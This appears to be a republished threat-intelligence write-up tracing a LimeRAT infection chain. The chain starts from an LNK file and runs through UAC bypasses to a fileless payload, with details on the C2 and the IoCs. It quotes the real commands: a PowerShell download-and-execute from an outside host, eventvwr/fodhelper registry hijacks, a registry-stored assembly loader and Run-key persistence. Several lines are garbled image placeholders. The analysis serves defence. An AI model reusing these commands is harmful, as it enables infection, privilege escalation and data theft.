Cybaze-Yoroi ZLab team spotted an interesting infection chain leveraging several techniques able to defeat traditional defences and spread LimeRAT.

Introduction

Few days ago, Cybaze-Yoroi ZLab team came across an interesting infection chain leveraging several techniques able to defeat traditional security defences and hiding a powerful inner payload able to seriously threaten its victims. 

- LSdNAD OP3xgMfIL4NtMEJVj7KNPRTGqSQA1hsRWyZATDeCplLtcRCpWIfvzxXLMRATzDHrXtA4HWRxdoay5juqaGiG8lA25wkFq7RluNTrot34zwQbHUmGrD OeSCjXHMnK2F8 - LimeRAT spreads in the wildSecurity Affairs

The whole infection chain was originated by a LNK file, a technique used by advanced attackers and APTs too, for this reason, we decided to have a deeper look into these malicious samples revealing another infamous abuse of open-source projects. Too many times turned into fully-featured malware implants by unethical hackers and cyber criminals.

LimeRAT  - LimeRAT - LimeRAT spreads in the wildSecurity Affairs

Technical Analysis

The origin of the infection chain is a simple LNK file, a technique originally adopted by state sponsored and advanced actors, designed to download and run a powershell file named “rdp.ps1” from a remote location through the command:

  1. C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -Windo 1 $wm=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘aWVY’));sal g $wm;$IF=((New-Object Net.WebClient)).DownloadString(‘https://hacks4all[.net/rdp.ps1’);g $I

The retrieved Powershell script works as dropper of the whole infection chain.

Sha256 141fd1e267a092d5525ba91b5817c324ccd9ec20a0d5c6b5cdfb899ca5cda039
Threat Powershell Dropper
Brief Description Powershell dropper of LimeRAT
Ssdeep 1536:7Tty9ugHMeQdOaqZyyhWI6WGf6J705549G:7Ti2dOaqZyyhp8fQkCG

This script firstly retrieves the version of the OS installed on the target machine using the “Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Version”  command. Then, depending on the returned value, it runs a couple of privilege escalation exploits able to bypass the UAC (User Account Control) feature, a well known security mechanism introduced since Vista to avoid unauthorized system configuration changes. The first one targets the versions lower than 8.1, abusing a design flaw on the EventViewer process to execute a command with higher privileges.

This exploit works quite easily: the malware gains access to the registry key “HKCU:SoftwareClassesmscfileshellopencommand” and inserts here the command to run its own payload, forcing its execution through the “eventvwr.exe” process which, due to a security flaw, executes it with the maximum privileges available.

- AxGkkvKvcDIScPWPjWv Hkis8ipSpkce3aChyNgZSCzueYZ9fCp D4PnwvMSog2av1XEv55uxZ9iTaloIS d MRMVlj67NVxVGAts9jMjH7tie g3rJf7MsAaoI6eFGXaPfbFaM - LimeRAT spreads in the wildSecurity Affairs
- xzmnL75MM10vnEhvp79BDcJpg 1NfUyVT qpp2Ux0j isl5tmQQia2EZvcS0I9twKe1K136YXelDPO5soIHNLiW2 wHWMN99  Nr60NKYd8tHuS5kdosWrawty5cqqVr1 SBUE0 - LimeRAT spreads in the wildSecurity Affairs
Figure 1: Check of the target Windows version and preparation for the eventvwr.exe process exploit

The second exploit targets Windows operating systems: it leverages a vulnerability inside the FODhelper process. The principle of this exploit is similar to the previous one, but the accessed registry key is “HKCU:SoftwareClassesms-settingsShellOpencommand” and the vulnerable process is “fodhelper.exe”.

-  k0CZtptveLFC0pd66S96G9XNyz7 Lef9FVwc HiP3XG95BHSsnMbpgYRwO5GqCyf DX2M0bXpuVfc drpqdSZo Frpym 2XLjJCvyFuadJqwBfpKNjazeJ31cduoCvfTN0kNeY - LimeRAT spreads in the wildSecurity Affairs
- heTgyrSVCSe9oJrr2WZJVtb7irprjnlHvElfv S6X3ADo6xMYSSCMErAgAiBac2Rb5d8nrZ9TYwFWjAoEHl7aC7DQz8QOsznkPv4tMO Nmmn2jpKVjCcU0K290vvLiVsMR2n8P8 - LimeRAT spreads in the wildSecurity Affairs
Figure 2: Check of the target Windows version and preparation for the fodhelper.exe process exploit

These two exploits are both used to run a Powershell payload which, after its decoding, results in the invocation of an additional JavaScript code. The body of this script contains a unique anonymous function embedding other sub-functions and an enormous obfuscated variable.

- gq5TU5xE81kJqN7a249aFEQkK4lhqPpe8H3 DVfu3rciMd9vXKQnm57lJWFu8bHUsMEPxDaitksN5gwBuHtGuotwKD2ED6vLFKpBN2G2mPl19ZBN52OXpfuWLNAODkubL4QXZ0c - LimeRAT spreads in the wildSecurity Affairs
Figure 3: Payload encoded in Base64 format and obfuscated with a custom subroutine
- 5eFyWC7Roj hI0gZ ZvEtTVlxmV VYF5v3kvYBeeqs03h6RWujbGulm5jnvFoyjaGC df8aXxh3qB8p7sUDoH9iaBomSHtTpqFju8QXNpJAIQV6FLlCmRilRyyZ2x0PI4qBMkiI - LimeRAT spreads in the wildSecurity Affairs
Figure 4: Piece of de-obfuscation subroutine

Its payload is a parameterized Powershell script having the purpose to install the final payload into the user registry hive, concluding the infection chain.

  1. [
  2. “Wscript.Shell”,
  3. “scriptfullname”,
  4. “scriptname”,
  5. “powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command “,
  6. “%”,
  7. “ExpandEnvironmentStrings”,
  8. “Temp”,
  9. “\”,
  10. “fromCharCode”,
  11. “[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable(‘Temp’)+’\”,
  12. “‘,[System.IO.File]::ReadAllText(‘”,
  13. “‘));wscript ‘”,
  14. “‘”,
  15. “Run”,
  16. “Quit”,
  17. “New-ItemProperty - ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -name ‘FileName’ -value ‘”,
  18. “‘ -PropertyType String -Force;”,
  19. “[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+’\”,
  20. “‘))”,
  21. ” ##### FINAL PAYLOAD ##### “
  22. “HKCU\SOFTWARE\Microsoft\\Winkey”,
  23. “Scripting.FileSystemObject”,
  24. “REG_SZ”,
  25. “regwrite”,
  26. “$_b = (get-itemproperty -path ‘HKCU:\SOFTWARE\Microsoft\’ -name ‘Winkey’).Winkey;$_b=$_b.replace(‘~’,’0′);[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);”
  27. ]
- ETN2QnME17Nr8egTCKj 1gdFU2GQgg1B6z2fWsXUOPoymIsIP8nLa0wfvt2du A rzTQgeS8R qGjwIVqjGEbS9EaWZ4Kv1BhMXYARRs9sLhdkFLdXwj2ZivLWCzLXPMrNMW6 c - LimeRAT spreads in the wildSecurity Affairs
Figure 5: Final payload written in the registry key in base64 Format

The Payload

- mk8 g2Frk iT5uyTcJISTtPMwrX7zXVmop2CDHexJInlNVMkTJWMhUUP4uSSJbKnL8 BqPX5k45qWQoXpXyp2on2rZaqzo2B0vIuABssOtAUpX2DC6zoEenlhPZJQckIFcv056s - LimeRAT spreads in the wildSecurity Affairs
Figure 6. Static payload

The installed payload actually is a Base64 encoded PE32 file, file-lessly stored within the registry hive to avoid antivirus detection. It is written in C# and requires at least the .NET framework 3.2 to run. Exploring the malware code, we detected multiple evidence indication of the possible belonging malware family: LimeRAT.

LimeRAT is a powerful Remote Administration Tool publicly available to any internet user, it is an open-source project freely available on Github. Comparing its source code to the decompiled sample we were able to confirm there is a high compatibility between the payload and this open-source remote administration tool.

- uaLflLLk111Z2aNzQSlbVJi2Ml3bstSz8f1KdjtNuJH0BEwtLlIrFIm7QRFTDigCQqofIwH0fS1knu1An698pCVig 3z5MoLBftxme LNxJv4TJnxi9bFnDBBVdEy RFxmksb Y - LimeRAT spreads in the wildSecurity Affairs
Figure 7: Decompiled code (on the left) and source code (on the right) on Github platform

The function reported above closely matches the open-source code. It also codes an interesting feature of the implant, in fact it allows the malware to register itself as “Critical Process” and when the user tries to kill it, a Blue Screen of Death (BSoD) is raised on the machine. Besides this peculiar tricks, the malware has a complete set of very powerful and dangerous capabilities, such as:

  • USB drive propagation, infecting all files and folders on USB drivers.
  • Evasive startup methods (fileless) to avoid AV detection.
  • Virtual machines and analysis box awareness to avoid detection.
  • Stealer and CryptoStealer module to steal cryptocurrency wallets and saved passwords.
  • Keylogger module
  • Backdoor and RDP access.

C2 Server

- 06ekrbZxcqTBwgki3LASNwBWnEsrFKYaCmDlfKy6jOH1 rZtpQqLXCh1ghgb5hRropACRtx81btv2  J0Y9HegDJBqzsY6EsR4YNbQsPhI R8GQ9 RmfoFhe7pxsslZF30JkAh8 - LimeRAT spreads in the wildSecurity Affairs
Figure 8. C2 retrieval

The malware command and control infrastructure abuses the Pastebin service to ensure resilience, in fact the malware dynamically retrieves the real C2 destination address from a pastie over an encrypted HTTPS channel. 

Also, the attacker behind this sample leans on the Dynamic DNS service “warzonedns.com”, pointing to the 213.183.58[.10 IP address located in Russia. 

Investigating this network destination we figured out the registrar email, “anthony.marshall.1986[@gmail[.com”, is well known: this email appears in another AdWind/JRat malicious campaign dated back in 2017, suggesting this malicious actor is active for a long time. 

Persistence Mechanisms

This sample also uses multiplepersistence mechanisms, making more difficult to an improvised incident responder to get rid of the infection, because the choice to add this redundancy helps to ensure the infection last longer. In detail, it leverages at least three different persistence tricks, copying itself in three different paths:

  • C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
  • C:Userspublic
  • %APPDATA%LocalTemp
- NWUDRSZ1mTLvByCv5qd g0p1dVaRU9d56DBf8zEr9oseZug0XqaS1l8XmmW4W90DdrJYo62dFauwE R24Y39Q6bDDUxPLB9iPdGHHOuvpTqRO7F59yymi0y8504C4cc0gRZNy Y - LimeRAT spreads in the wildSecurity Affairs
Figure 9: The persistence mechanisms of the malware

The JavaScript code is executed through the following powershell command:

  1. “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command “New-ItemProperty -Path ‘HKCU:SoftwareMicrosoftWindowsCurrentVersionRun’ -name ‘FileName’ -value ‘C:UsersadminAppDataLocalTempfuw.js’ -PropertyType String -Force;”

Conclusion

The analyzed case evidences how open-source projects are often abused by cyber criminals to pursue their malicious objectives and, even if the malware code and behaviour are well known, how those threat families are constantly re-arranged to avoid basic security controls, along with the observation of how cyber-criminals challengingly insist in their illicit operations over the years, refining their techniques to penetrate companies boundaries.

Technical details, including IoCs and Yara Rules, are available in the analysis published on the Yoroi blog.

Pierluigi Paganini

(SecurityAffairs – LimeRAT, malware)







Source link

No tags for this post.

LEAVE A REPLY

Please enter your comment!
Please enter your name here